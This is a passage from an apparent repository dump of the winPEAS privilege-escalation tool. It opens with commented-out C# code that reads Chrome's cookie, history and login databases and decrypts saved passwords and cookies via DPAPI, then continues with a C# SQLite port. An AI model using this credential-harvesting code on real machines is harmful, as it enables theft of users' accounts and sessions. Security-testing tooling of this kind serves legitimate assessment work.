\"\";\n//            foreach(DataRow row in cookieTable.Rows)\n//            {\n//                if (lastHostKey != (string)row[\"host_key\"])\n//                {\n//                    lastHostKey = (string)row[\"host_key\"];\n//                    if (hostInstance != null)\n//                    {\n//                        hostInstance.Cookies = cookies.ToArray();\n//                        hostCookies.Add(hostInstance);\n//                    }\n//                    hostInstance = new HostCookies();\n//                    hostInstance.HostName = lastHostKey;\n//                    cookies = new List<Cookie>();\n//                }\n//                Cookie cookie = new Cookie();\n//                cookie.Domain = row[\"host_key\"].ToString();\n//                long expDate;\n//                Int64.TryParse(row[\"expires_utc\"].ToString(), out expDate);\n//                cookie.ExpirationDate = expDate;\n//                cookie.HostOnly = false; // I'm not sure this is stored in the cookie store and seems to be always false\n//                if (row[\"is_httponly\"].ToString() == \"1\")\n//                {\n//                    cookie.HttpOnly = true;\n//                }\n//                else\n//                {\n//                    cookie.HttpOnly = false;\n//                }\n//                cookie.Name = row[\"name\"].ToString();\n//                cookie.Path = row[\"path\"].ToString();\n//                cookie.SameSite = \"no_restriction\"; // Not sure if this is the same as firstpartyonly\n//                if (row[\"is_secure\"].ToString() == \"1\")\n//                {\n//                    cookie.Secure = true;\n//                }\n//                else\n//                {\n//                    cookie.Secure = false;\n//                }\n//                cookie.Session = false; // Unsure, this seems to be false always\n//                cookie.StoreId = \"0\"; // Static\n//                byte[] cookieValue = Convert.FromBase64String(row[\"encrypted_value\"].ToString());\n//                cookieValue = ProtectedData.Unprotect(cookieValue, null, DataProtectionScope.CurrentUser);\n//                cookie.Value = System.Text.Encoding.ASCII.GetString(cookieValue);\n//                cookies.Add(cookie);\n//            }\n//            return hostCookies.ToArray();\n//        }\n\n//        private bool CookieHostNameMatch(HostCookies cookie, string hostName)\n//        {\n//            return cookie.HostName == hostName;\n//        }\n\n//        public static HostCookies FilterHostCookies(HostCookies[] hostCookies, string url)\n//        {\n//            HostCookies results = new HostCookies();\n//            List<String> hostPermutations = new List<String>();\n//            // First retrieve the domain from the url\n//            string domain = url;\n//            // determine if url or raw domain name\n//            if (domain.IndexOf('/') != -1)\n//            {\n//                domain = domain.Split('/')[2];\n//            }\n//            results.HostName = domain;\n//            string[] domainParts = domain.Split('.');\n//            for(int i=0; i < domainParts.Length; i++)\n//            {\n//                if ((domainParts.Length - i) < 2)\n//                {\n//                    // We've reached the TLD. Break!\n//                    break;\n//                }\n//                string[] subDomainParts = new string[domainParts.Length - i];\n//                Array.Copy(domainParts, i, subDomainParts, 0, subDomainParts.Length);\n//                string subDomain = String.Join(\".\", subDomainParts);\n//                hostPermutations.Add(subDomain);\n//                hostPermutations.Add(\".\" + subDomain);\n//            }\n//            List<Cookie> cookies = new List<Cookie>();\n//            foreach(string sub in hostPermutations)\n//            {\n//                // For each permutation\n//                foreach(HostCookies hostInstance in hostCookies)\n//                {\n//                    // Determine if the hostname matches the subdomain perm\n//                    if (hostInstance.HostName == sub)\n//                    {\n//                        // If it does, cycle through\n//                        foreach(Cookie cookieInstance in hostInstance.Cookies)\n//                        {\n//                            // No dupes\n//                            if (!cookies.Contains(cookieInstance))\n//                            {\n//                                cookies.Add(cookieInstance);\n//                            }\n//                        }\n//                    }\n//                }\n//            }\n//            results.Cookies = cookies.ToArray();\n//            return results;\n\n//        }\n\n//        public static HostCookies[] ParseChromeCookies(string cookiesFilePath, string user, bool printResults = false, string[] domains = null)\n//        {\n//            SQLiteDatabase database = new SQLiteDatabase(cookiesFilePath);\n//            string query = \"SELECT * FROM cookies ORDER BY host_key\";\n//            DataTable resultantQuery = database.ExecuteQuery(query);\n//            database.CloseDatabase();\n//            // This will group cookies based on Host Key\n//            HostCookies[] rawCookies = SortCookieData(resultantQuery);\n//            if (printResults)\n//            {\n//                if (domains != null)\n//                {\n//                    foreach(string domain in domains)\n//                    {\n//                        HostCookies hostInstance = FilterHostCookies(rawCookies, domain);\n//                        Console.WriteLine(\"--- Chrome Cookie (User: {0}) ---\", user);\n//                        Console.WriteLine(\"Domain         : {0}\", hostInstance.HostName);\n//                        Console.WriteLine(\"Cookies (JSON) : {0}\", hostInstance.ToJSON());\n//                        Console.WriteLine();\n//                    }\n//                }\n//                else\n//                {\n//                    foreach (HostCookies cookie in rawCookies)\n//                    {\n//                        Console.WriteLine(\"--- Chrome Cookie (User: {0}) ---\", user);\n//                        Console.WriteLine(\"Domain         : {0}\", cookie.HostName);\n//                        Console.WriteLine(\"Cookies (JSON) : {0}\", cookie.ToJSON());\n//                        Console.WriteLine();\n//                    }\n//                }\n//            }\n//            // Parse the raw cookies into HostCookies that are grouped by common domain\n//            return rawCookies;\n//        }\n\n//        public static void ParseChromeHistory(string historyFilePath, string user, HostCookies[] cookies)\n//        {\n//            SQLiteDatabase database = new SQLiteDatabase(historyFilePath);\n//            string query = \"SELECT url, title, visit_count, last_visit_time FROM urls ORDER BY visit_count;\";\n//            DataTable resultantQuery = database.ExecuteQuery(query);\n//            database.CloseDatabase();\n//            foreach (DataRow row in resultantQuery.Rows)\n//            {\n//                var lastVisitTime = row[\"last_visit_time\"];\n//                Console.WriteLine(\"--- Chrome History (User: {0}) ---\", user);\n//                Console.WriteLine(\"URL           : {0}\", row[\"url\"]);\n//                if (row[\"title\"] != String.Empty)\n//                {\n//                    Console.WriteLine(\"Title         : {0}\", row[\"title\"]);\n//                }\n//                else\n//                {\n//                    Console.WriteLine(\"Title         : No Title\");\n//                }\n//                Console.WriteLine(\"Visit Count   : {0}\", row[\"visit_count\"]);\n//                HostCookies matching = FilterHostCookies(cookies, row[\"url\"].ToString());\n//                Console.WriteLine(\"Cookies       : {0}\", matching.ToJSON());\n//                Console.WriteLine();\n//            }\n//        }\n\n//        public static void ParseChromeLogins(string loginDataFilePath, string user)\n//        {\n//            SQLiteDatabase database = new SQLiteDatabase(loginDataFilePath);\n//            string query = \"SELECT action_url, username_value, password_value FROM logins\";\n//            DataTable resultantQuery = database.ExecuteQuery(query);\n\n//            foreach (DataRow row in resultantQuery.Rows)\n//            {\n//                byte[] passwordBytes = Convert.FromBase64String((string)row[\"password_value\"]);\n//                byte[] decBytes = ProtectedData.Unprotect(passwordBytes, null, DataProtectionScope.CurrentUser);\n//                string password = Encoding.ASCII.GetString(decBytes);\n//                if (password != String.Empty)\n//                {\n//                    Console.WriteLine(\"--- Chrome Credential (User: {0}) ---\", user);\n//                    Console.WriteLine(\"URL      : {0}\", row[\"action_url\"]);\n//                    Console.WriteLine(\"Username : {0}\", row[\"username_value\"]);\n//                    Console.WriteLine(\"Password : {0}\", password);\n//                    Console.WriteLine();\n//                }\n//            }\n//            database.CloseDatabase();\n//        }\n\n//        public static bool IsHighIntegrity()\n//        {\n//            // returns true if the current process is running with adminstrative privs in a high integrity context\n//            WindowsIdentity identity = WindowsIdentity.GetCurrent();\n//            WindowsPrincipal principal = new WindowsPrincipal(identity);\n//            return principal.IsInRole(WindowsBuiltInRole.Administrator);\n//        }\n//    }\n//}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/SQLiteVdbe.cs",
    "content": "//  $Header$\n\nusing System;\nusing winPEAS._3rdParty.SQLite.src;\n\nnamespace winPEAS._3rdParty.SQLite\n{\n    using Vdbe = CSSQLite.Vdbe;\n\n  /// <summary>\n  /// C#-SQLite wrapper with functions for opening, closing and executing queries.\n  /// </summary>\n  public class SQLiteVdbe\n  {\n    private Vdbe vm = null;\n    private string LastError = \"\";\n    private int LastResult = 0;\n\n    /// <summary>\n    /// Creates new instance of SQLiteVdbe class by compiling a statement\n    /// </summary>\n    /// <param name=\"query\"></param>\n    /// <returns>Vdbe</returns>\n    public SQLiteVdbe( SQLiteDatabase db, String query )\n    {\n      vm = null;\n\n      // prepare and compile \n      CSSQLite.sqlite3_prepare_v2( db.Connection(), query, query.Length, ref vm, 0 );\n    }\n\n    /// <summary>\n    /// Return Virtual Machine Pointer\n    /// </summary>\n    /// <param name=\"query\"></param>\n    /// <returns>Vdbe</returns>\n    public Vdbe VirtualMachine()\n    {\n      return vm;\n    }\n    \n    /// <summary>\n    /// <summary>\n    /// BindInteger\n    /// </summary>\n    /// <param name=\"index\"></param>\n    /// <param name=\"bInteger\"></param>\n    /// <returns>LastResult</returns>\n    public int BindInteger(int index, int bInteger )\n    {\n      if ( (LastResult = CSSQLite.sqlite3_bind_int( vm, index, bInteger ))== CSSQLite.SQLITE_OK )\n      { LastError = \"\"; }\n      else\n      {\n        LastError = \"Error \" + LastError + \"binding Integer [\" + bInteger + \"]\";\n      }\n      return LastResult;\n    }\n\n    /// <summary>\n    /// <summary>\n    /// BindLong\n    /// </summary>\n    /// <param name=\"index\"></param>\n    /// <param name=\"bLong\"></param>\n    /// <returns>LastResult</returns>\n    public int BindLong( int index, long bLong )\n    {\n      if ( ( LastResult = CSSQLite.sqlite3_bind_int64( vm, index, bLong ) ) == CSSQLite.SQLITE_OK )\n      { LastError = \"\"; }\n      else\n      {\n        LastError = \"Error \" + LastError + \"binding Long [\" + bLong + \"]\";\n      }\n      return LastResult;\n    }\n\n    /// <summary>\n    /// BindText\n    /// </summary>\n    /// <param name=\"index\"></param>\n    /// <param name=\"bLong\"></param>\n    /// <returns>LastResult</returns>\n    public int BindText(  int index, string bText )\n    {\n      if ( ( LastResult = CSSQLite.sqlite3_bind_text( vm, index, bText ,-1,null) ) == CSSQLite.SQLITE_OK )\n      { LastError = \"\"; }\n      else\n      {\n        LastError = \"Error \" + LastError + \"binding Text [\" + bText + \"]\";\n      }\n      return LastResult;\n    }\n\n    /// <summary>\n    /// Execute statement\n    /// </summary>\n    /// </param>\n    /// <returns>LastResult</returns>\n    public int ExecuteStep(   )\n    {\n      // Execute the statement\n      int LastResult = CSSQLite.sqlite3_step( vm );\n\n      return LastResult;\n    }\n\n    /// <summary>\n    /// Returns Result column as Long\n    /// </summary>\n    /// </param>\n    /// <returns>Result column</returns>\n    public long Result_Long(int index)\n    {\n      return CSSQLite.sqlite3_column_int64( vm, index );\n    }\n\n    /// <summary>\n    /// Returns Result column as Text\n    /// </summary>\n    /// </param>\n    /// <returns>Result column</returns>\n    public string Result_Text( int index )\n    {\n      return CSSQLite.sqlite3_column_text( vm, index );\n    }\n\n    \n    /// <summary>\n    /// Returns Count of Result Rows\n    /// </summary>\n    /// </param>\n    /// <returns>Count of Results</returns>\n    public int ResultColumnCount( )\n    {\n      return vm.pResultSet == null ? 0 : vm.pResultSet.Length;\n    }\n\n    /// <summary>\n    /// Reset statement\n    /// </summary>\n    /// </param>\n    /// </returns>\n    public void Reset()\n    {\n      // Reset the statment so it's ready to use again\n      CSSQLite.sqlite3_reset( vm );\n    }\n    \n    /// <summary>\n    /// Closes statement\n    /// </summary>\n    /// </param>\n    /// <returns>LastResult</returns>\n    public void Close()\n    {\n      CSSQLite.sqlite3_finalize( ref vm );\n    }\n  \n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/BtreeInt_h.cs",
    "content": "using System;\nusing i16 = System.Int16;\nusing i64 = System.Int64;\nusing u8 = System.Byte;\nusing u16 = System.UInt16;\nusing u32 = System.UInt32;\nusing sqlite3_int64 = System.Int64;\nusing Pgno = System.UInt32;\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n  using DbPage = CSSQLite.PgHdr;\n\n  public partial class CSSQLite\n  {\n    /*\n    ** 2004 April 6\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    ** $Id: btreeInt.h,v 1.52 2009/07/15 17:25:46 drh Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    **\n    ** This file implements a external (disk-based) database using BTrees.\n    ** For a detailed discussion of BTrees, refer to\n    **\n    **     Donald E. Knuth, THE ART OF COMPUTER PROGRAMMING, Volume 3:\n    **     \"Sorting And Searching\", pages 473-480. Addison-Wesley\n    **     Publishing Company, Reading, Massachusetts.\n    **\n    ** The basic idea is that each page of the file contains N database\n    ** entries and N+1 pointers to subpages.\n    **\n    **   ----------------------------------------------------------------\n    **   |  Ptr(0) | Key(0) | Ptr(1) | Key(1) | ... | Key(N-1) | Ptr(N) |\n    **   ----------------------------------------------------------------\n    **\n    ** All of the keys on the page that Ptr(0) points to have values less\n    ** than Key(0).  All of the keys on page Ptr(1) and its subpages have\n    ** values greater than Key(0) and less than Key(1).  All of the keys\n    ** on Ptr(N) and its subpages have values greater than Key(N-1).  And\n    ** so forth.\n    **\n    ** Finding a particular key requires reading O(log(M)) pages from the\n    ** disk where M is the number of entries in the tree.\n    **\n    ** In this implementation, a single file can hold one or more separate\n    ** BTrees.  Each BTree is identified by the index of its root page.  The\n    ** key and data for any entry are combined to form the \"payload\".  A\n    ** fixed amount of payload can be carried directly on the database\n    ** page.  If the payload is larger than the preset amount then surplus\n    ** bytes are stored on overflow pages.  The payload for an entry\n    ** and the preceding pointer are combined to form a \"Cell\".  Each\n    ** page has a small header which contains the Ptr(N) pointer and other\n    ** information such as the size of key and data.\n    **\n    ** FORMAT DETAILS\n    **\n    ** The file is divided into pages.  The first page is called page 1,\n    ** the second is page 2, and so forth.  A page number of zero indicates\n    ** \"no such page\".  The page size can be anything between 512 and 65536.\n    ** Each page can be either a btree page, a freelist page or an overflow\n    ** page.\n    **\n    ** The first page is always a btree page.  The first 100 bytes of the first\n    ** page contain a special header (the \"file header\") that describes the file.\n    ** The format of the file header is as follows:\n    **\n    **   OFFSET   SIZE    DESCRIPTION\n    **      0      16     Header string: \"SQLite format 3\\000\"\n    **     16       2     Page size in bytes.\n    **     18       1     File format write version\n    **     19       1     File format read version\n    **     20       1     Bytes of unused space at the end of each page\n    **     21       1     Max embedded payload fraction\n    **     22       1     Min embedded payload fraction\n    **     23       1     Min leaf payload fraction\n    **     24       4     File change counter\n    **     28       4     Reserved for future use\n    **     32       4     First freelist page\n    **     36       4     Number of freelist pages in the file\n    **     40      60     15 4-byte meta values passed to higher layers\n    **\n    **     40       4     Schema cookie\n    **     44       4     File format of schema layer\n    **     48       4     Size of page cache\n    **     52       4     Largest root-page (auto/incr_vacuum)\n    **     56       4     1=UTF-8 2=UTF16le 3=UTF16be\n    **     60       4     User version\n    **     64       4     Incremental vacuum mode\n    **     68       4     unused\n    **     72       4     unused\n    **     76       4     unused\n    **\n    ** All of the integer values are big-endian (most significant byte first).\n    **\n    ** The file change counter is incremented when the database is changed\n    ** This counter allows other processes to know when the file has changed\n    ** and thus when they need to flush their cache.\n    **\n    ** The max embedded payload fraction is the amount of the total usable\n    ** space in a page that can be consumed by a single cell for standard\n    ** B-tree (non-LEAFDATA) tables.  A value of 255 means 100%.  The default\n    ** is to limit the maximum cell size so that at least 4 cells will fit\n    ** on one page.  Thus the default max embedded payload fraction is 64.\n    **\n    ** If the payload for a cell is larger than the max payload, then extra\n    ** payload is spilled to overflow pages.  Once an overflow page is allocated,\n    ** as many bytes as possible are moved into the overflow pages without letting\n    ** the cell size drop below the min embedded payload fraction.\n    **\n    ** The min leaf payload fraction is like the min embedded payload fraction\n    ** except that it applies to leaf nodes in a LEAFDATA tree.  The maximum\n    ** payload fraction for a LEAFDATA tree is always 100% (or 255) and it\n    ** not specified in the header.\n    **\n    ** Each btree pages is divided into three sections:  The header, the\n    ** cell pointer array, and the cell content area.  Page 1 also has a 100-byte\n    ** file header that occurs before the page header.\n    **\n    **      |----------------|\n    **      | file header    |   100 bytes.  Page 1 only.\n    **      |----------------|\n    **      | page header    |   8 bytes for leaves.  12 bytes for interior nodes\n    **      |----------------|\n    **      | cell pointer   |   |  2 bytes per cell.  Sorted order.\n    **      | array          |   |  Grows downward\n    **      |                |   v\n    **      |----------------|\n    **      | unallocated    |\n    **      | space          |\n    **      |----------------|   ^  Grows upwards\n    **      | cell content   |   |  Arbitrary order interspersed with freeblocks.\n    **      | area           |   |  and free space fragments.\n    **      |----------------|\n    **\n    ** The page headers looks like this:\n    **\n    **   OFFSET   SIZE     DESCRIPTION\n    **      0       1      Flags. 1: intkey, 2: zerodata, 4: leafdata, 8: leaf\n    **      1       2      byte offset to the first freeblock\n    **      3       2      number of cells on this page\n    **      5       2      first byte of the cell content area\n    **      7       1      number of fragmented free bytes\n    **      8       4      Right child (the Ptr(N) value).  Omitted on leaves.\n    **\n    ** The flags define the format of this btree page.  The leaf flag means that\n    ** this page has no children.  The zerodata flag means that this page carries\n    ** only keys and no data.  The intkey flag means that the key is a integer\n    ** which is stored in the key size entry of the cell header rather than in\n    ** the payload area.\n    **\n    ** The cell pointer array begins on the first byte after the page header.\n    ** The cell pointer array contains zero or more 2-byte numbers which are\n    ** offsets from the beginning of the page to the cell content in the cell\n    ** content area.  The cell pointers occur in sorted order.  The system strives\n    ** to keep free space after the last cell pointer so that new cells can\n    ** be easily added without having to defragment the page.\n    **\n    ** Cell content is stored at the very end of the page and grows toward the\n    ** beginning of the page.\n    **\n    ** Unused space within the cell content area is collected into a linked list of\n    ** freeblocks.  Each freeblock is at least 4 bytes in size.  The byte offset\n    ** to the first freeblock is given in the header.  Freeblocks occur in\n    ** increasing order.  Because a freeblock must be at least 4 bytes in size,\n    ** any group of 3 or fewer unused bytes in the cell content area cannot\n    ** exist on the freeblock chain.  A group of 3 or fewer free bytes is called\n    ** a fragment.  The total number of bytes in all fragments is recorded.\n    ** in the page header at offset 7.\n    **\n    **    SIZE    DESCRIPTION\n    **      2     Byte offset of the next freeblock\n    **      2     Bytes in this freeblock\n    **\n    ** Cells are of variable length.  Cells are stored in the cell content area at\n    ** the end of the page.  Pointers to the cells are in the cell pointer array\n    ** that immediately follows the page header.  Cells is not necessarily\n    ** contiguous or in order, but cell pointers are contiguous and in order.\n    **\n    ** Cell content makes use of variable length integers.  A variable\n    ** length integer is 1 to 9 bytes where the lower 7 bits of each\n    ** byte are used.  The integer consists of all bytes that have bit 8 set and\n    ** the first byte with bit 8 clear.  The most significant byte of the integer\n    ** appears first.  A variable-length integer may not be more than 9 bytes long.\n    ** As a special case, all 8 bytes of the 9th byte are used as data.  This\n    ** allows a 64-bit integer to be encoded in 9 bytes.\n    **\n    **    0x00                      becomes  0x00000000\n    **    0x7f                      becomes  0x0000007f\n    **    0x81 0x00                 becomes  0x00000080\n    **    0x82 0x00                 becomes  0x00000100\n    **    0x80 0x7f                 becomes  0x0000007f\n    **    0x8a 0x91 0xd1 0xac 0x78  becomes  0x12345678\n    **    0x81 0x81 0x81 0x81 0x01  becomes  0x10204081\n    **\n    ** Variable length integers are used for rowids and to hold the number of\n    ** bytes of key and data in a btree cell.\n    **\n    ** The content of a cell looks like this:\n    **\n    **    SIZE    DESCRIPTION\n    **      4     Page number of the left child. Omitted if leaf flag is set.\n    **     var    Number of bytes of data. Omitted if the zerodata flag is set.\n    **     var    Number of bytes of key. Or the key itself if intkey flag is set.\n    **      *     Payload\n    **      4     First page of the overflow chain.  Omitted if no overflow\n    **\n    ** Overflow pages form a linked list.  Each page except the last is completely\n    ** filled with data (pagesize - 4 bytes).  The last page can have as little\n    ** as 1 byte of data.\n    **\n    **    SIZE    DESCRIPTION\n    **      4     Page number of next overflow page\n    **      *     Data\n    **\n    ** Freelist pages come in two subtypes: trunk pages and leaf pages.  The\n    ** file header points to the first in a linked list of trunk page.  Each trunk\n    ** page points to multiple leaf pages.  The content of a leaf page is\n    ** unspecified.  A trunk page looks like this:\n    **\n    **    SIZE    DESCRIPTION\n    **      4     Page number of next trunk page\n    **      4     Number of leaf pointers on this page\n    **      *     zero or more pages numbers of leaves\n    */\n    //#include \"sqliteInt.h\"\n\n    /* The following value is the maximum cell size assuming a maximum page\n    ** size give above.\n    */\n    //#define MX_CELL_SIZE(pBt)  (pBt.pageSize-8)\n    static int MX_CELL_SIZE( BtShared pBt ) { return ( pBt.pageSize - 8 ); }\n\n    /* The maximum number of cells on a single page of the database.  This\n    ** assumes a minimum cell size of 6 bytes  (4 bytes for the cell itself\n    ** plus 2 bytes for the index to the cell in the page header).  Such\n    ** small cells will be rare, but they are possible.\n    */\n    //#define MX_CELL(pBt) ((pBt.pageSize-8)/6)\n    static int MX_CELL( BtShared pBt ) { return ( ( pBt.pageSize - 8 ) / 6 ); }\n\n    /* Forward declarations */\n    //typedef struct MemPage MemPage;\n    //typedef struct BtLock BtLock;\n\n    /*\n    ** This is a magic string that appears at the beginning of every\n    ** SQLite database in order to identify the file as a real database.\n    **\n    ** You can change this value at compile-time by specifying a\n    ** -DSQLITE_FILE_HEADER=\"...\" on the compiler command-line.  The\n    ** header must be exactly 16 bytes including the zero-terminator so\n    ** the string itself should be 15 characters long.  If you change\n    ** the header, then your custom library will not be able to read\n    ** databases generated by the standard tools and the standard tools\n    ** will not be able to read databases created by your custom library.\n    */\n#if !SQLITE_FILE_HEADER //* 123456789 123456 */\n    const string SQLITE_FILE_HEADER = \"SQLite format 3\\0\";\n#endif\n\n    /*\n** Page type flags.  An ORed combination of these flags appear as the\n** first byte of on-disk image of every BTree page.\n*/\n    const byte PTF_INTKEY = 0x01;\n    const byte PTF_ZERODATA = 0x02;\n    const byte PTF_LEAFDATA = 0x04;\n    const byte PTF_LEAF = 0x08;\n\n    /*\n    ** As each page of the file is loaded into memory, an instance of the following\n    ** structure is appended and initialized to zero.  This structure stores\n    ** information about the page that is decoded from the raw file page.\n    **\n    ** The pParent field points back to the parent page.  This allows us to\n    ** walk up the BTree from any leaf to the root.  Care must be taken to\n    ** unref() the parent page pointer when this page is no longer referenced.\n    ** The pageDestructor() routine handles that chore.\n    **\n    ** Access to all fields of this structure is controlled by the mutex\n    ** stored in MemPage.pBt.mutex.\n    */\n    public struct _OvflCell\n    {   /* Cells that will not fit on aData[] */\n      public u8[] pCell;       /* Pointers to the body of the overflow cell */\n      public u16 idx;            /* Insert this cell before idx-th non-overflow cell */\n      public _OvflCell Copy()\n      {\n        _OvflCell cp = new _OvflCell();\n        if ( pCell != null )\n        {\n          cp.pCell = new byte[pCell.Length];\n          Buffer.BlockCopy( pCell, 0, cp.pCell, 0, pCell.Length );\n        }\n        cp.idx = idx;\n        return cp;\n      }\n    };\n    public class MemPage\n    {\n      public u8 isInit;           /* True if previously initialized. MUST BE FIRST! */\n      public u8 nOverflow;        /* Number of overflow cell bodies in aCell[] */\n      public u8 intKey;           /* True if u8key flag is set */\n      public u8 leaf;             /* 1 if leaf flag is set */\n      public u8 hasData;          /* True if this page stores data */\n      public u8 hdrOffset;        /* 100 for page 1.  0 otherwise */\n      public u8 childPtrSize;     /* 0 if leaf==1.  4 if leaf==0 */\n      public u16 maxLocal;        /* Copy of BtShared.maxLocal or BtShared.maxLeaf */\n      public u16 minLocal;        /* Copy of BtShared.minLocal or BtShared.minLeaf */\n      public u16 cellOffset;      /* Index in aData of first cell pou16er */\n      public u16 nFree;           /* Number of free bytes on the page */\n      public u16 nCell;           /* Number of cells on this page, local and ovfl */\n      public u16 maskPage;        /* Mask for page offset */\n      public _OvflCell[] aOvfl = new _OvflCell[5];\n      public BtShared pBt;        /* Pointer to BtShared that this page is part of */\n      public byte[] aData;        /* Pointer to disk image of the page data */\n      public DbPage pDbPage;      /* Pager page handle */\n      public Pgno pgno;           /* Page number for this page */\n\n      public MemPage Copy()\n      {\n        MemPage cp = (MemPage)MemberwiseClone();\n        if ( aOvfl != null )\n        {\n          cp.aOvfl = new _OvflCell[aOvfl.Length];\n          for ( int i = 0 ; i < aOvfl.Length ; i++ ) cp.aOvfl[i] = aOvfl[i].Copy();\n        }\n        if ( aData != null )\n        {\n          cp.aData = new byte[aData.Length];\n          Buffer.BlockCopy( aData, 0, cp.aData, 0, aData.Length );\n        }\n        return cp;\n      }\n    };\n\n    /*\n    ** The in-memory image of a disk page has the auxiliary information appended\n    ** to the end.  EXTRA_SIZE is the number of bytes of space needed to hold\n    ** that extra information.\n    */\n    const int EXTRA_SIZE = 0;// No used in C#, since we use create a class; was MemPage.Length;\n\n    /*\n    ** A linked list of the following structures is stored at BtShared.pLock.\n    ** Locks are added (or upgraded from READ_LOCK to WRITE_LOCK) when a cursor \n    ** is opened on the table with root page BtShared.iTable. Locks are removed\n    ** from this list when a transaction is committed or rolled back, or when\n    ** a btree handle is closed.\n    */\n    public class BtLock {\n      Btree pBtree;         /* Btree handle holding this lock */\n      Pgno iTable;          /* Root page of table */\n      u8 eLock;             /* READ_LOCK or WRITE_LOCK */\n      BtLock pNext;         /* Next in BtShared.pLock list */\n    };\n\n    /* Candidate values for BtLock.eLock */\n    //#define READ_LOCK     1\n    //#define WRITE_LOCK    2\n    const int READ_LOCK = 1;\n    const int WRITE_LOCK = 2;\n\n    /* A Btree handle\n    **\n    ** A database connection contains a pointer to an instance of\n    ** this object for every database file that it has open.  This structure\n    ** is opaque to the database connection.  The database connection cannot\n    ** see the internals of this structure and only deals with pointers to\n    ** this structure.\n    **\n    ** For some database files, the same underlying database cache might be\n    ** shared between multiple connections.  In that case, each contection\n    ** has it own pointer to this object.  But each instance of this object\n    ** points to the same BtShared object.  The database cache and the\n    ** schema associated with the database file are all contained within\n    ** the BtShared object.\n    **\n    ** All fields in this structure are accessed under sqlite3.mutex.\n    ** The pBt pointer itself may not be changed while there exists cursors\n    ** in the referenced BtShared that point back to this Btree since those\n    ** cursors have to do go through this Btree to find their BtShared and\n    ** they often do so without holding sqlite3.mutex.\n    */\n    public class Btree\n    {\n      public sqlite3 db;        /* The database connection holding this Btree */\n      public BtShared pBt;      /* Sharable content of this Btree */\n      public u8 inTrans;        /* TRANS_NONE, TRANS_READ or TRANS_WRITE */\n      public bool sharable;     /* True if we can share pBt with another db */\n      public bool locked;       /* True if db currently has pBt locked */\n      public int wantToLock;    /* Number of nested calls to sqlite3BtreeEnter() */\n      public int nBackup;       /* Number of backup operations reading this btree */\n      public Btree pNext;       /* List of other sharable Btrees from the same db */\n      public Btree pPrev;       /* Back pointer of the same list */\n#if !SQLITE_OMIT_SHARED_CACHE\n      BtLock lock;              /* Object used to lock page 1 */\n#endif\n    };\n\n    /*\n    ** Btree.inTrans may take one of the following values.\n    **\n    ** If the shared-data extension is enabled, there may be multiple users\n    ** of the Btree structure. At most one of these may open a write transaction,\n    ** but any number may have active read transactions.\n    */\n    const byte TRANS_NONE = 0;\n    const byte TRANS_READ = 1;\n    const byte TRANS_WRITE = 2;\n\n    /*\n    ** An instance of this object represents a single database file.\n    **\n    ** A single database file can be in use as the same time by two\n    ** or more database connections.  When two or more connections are\n    ** sharing the same database file, each connection has it own\n    ** private Btree object for the file and each of those Btrees points\n    ** to this one BtShared object.  BtShared.nRef is the number of\n    ** connections currently sharing this database file.\n    **\n    ** Fields in this structure are accessed under the BtShared.mutex\n    ** mutex, except for nRef and pNext which are accessed under the\n    ** global SQLITE_MUTEX_STATIC_MASTER mutex.  The pPager field\n    ** may not be modified once it is initially set as long as nRef>0.\n    ** The pSchema field may be set once under BtShared.mutex and\n    ** thereafter is unchanged as long as nRef>0.\n    **\n    ** isPending:\n    **\n    **   If a BtShared client fails to obtain a write-lock on a database\n    **   table (because there exists one or more read-locks on the table),\n    **   the shared-cache enters 'pending-lock' state and isPending is\n    **   set to true.\n    **\n    **   The shared-cache leaves the 'pending lock' state when either of\n    **   the following occur:\n    **\n    **     1) The current writer (BtShared.pWriter) concludes its transaction, OR\n    **     2) The number of locks held by other connections drops to zero.\n    **\n    **   while in the 'pending-lock' state, no connection may start a new\n    **   transaction.\n    **\n    **   This feature is included to help prevent writer-starvation.\n    */\n    public class BtShared\n    {\n      public Pager pPager;           /* The page cache */\n      public sqlite3 db;             /* Database connection currently using this Btree */\n      public BtCursor pCursor;       /* A list of all open cursors */\n      public MemPage pPage1;         /* First page of the database */\n      public bool readOnly;          /* True if the underlying file is readonly */\n      public bool pageSizeFixed;     /* True if the page size can no longer be changed */\n#if !SQLITE_OMIT_AUTOVACUUM\n      public bool autoVacuum;         /* True if auto-vacuum is enabled */\n      public bool incrVacuum;         /* True if incr-vacuum is enabled */\n#endif\n      public u16 pageSize;            /* Total number of bytes on a page */\n      public u16 usableSize;          /* Number of usable bytes on each page */\n      public u16 maxLocal;            /* Maximum local payload in non-LEAFDATA tables */\n      public u16 minLocal;            /* Minimum local payload in non-LEAFDATA tables */\n      public u16 maxLeaf;             /* Maximum local payload in a LEAFDATA table */\n      public u16 minLeaf;             /* Minimum local payload in a LEAFDATA table */\n      public u8 inTransaction;        /* Transaction state */\n      public int nTransaction;        /* Number of open transactions (read + write) */\n      public Schema pSchema;          /* Pointer to space allocated by sqlite3BtreeSchema() */\n      public dxFreeSchema xFreeSchema;/* Destructor for BtShared.pSchema */\n      public sqlite3_mutex mutex;     /* Non-recursive mutex required to access this struct */\n      public Bitvec pHasContent;      /* Set of pages moved to free-list this transaction */\n#if !SQLITE_OMIT_SHARED_CACHE\npublic int nRef;                /* Number of references to this structure */\npublic BtShared pNext;          /* Next on a list of sharable BtShared structs */\npublic BtLock pLock;            /* List of locks held on this shared-btree struct */\npublic Btree pWriter;           /* Btree with currently open write transaction */\npublic u8 isExclusive;          /* True if pWriter has an EXCLUSIVE lock on the db */\npublic u8 isPending;            /* If waiting for read-locks to clear */\n#endif\n      public byte[] pTmpSpace;        /* BtShared.pageSize bytes of space for tmp use */\n    };\n\n    /*\n    ** An instance of the following structure is used to hold information\n    ** about a cell.  The parseCellPtr() function fills in this structure\n    ** based on information extract from the raw disk page.\n    */\n    //typedef struct CellInfo CellInfo;\n    public struct CellInfo\n    {\n      public byte[] pCell;  /* Pointer to the start of cell content */\n      public int iCell;     /* Offset to start of cell content -- Needed for C# */\n      public i64 nKey;      /* The key for INTKEY tables, or number of bytes in key 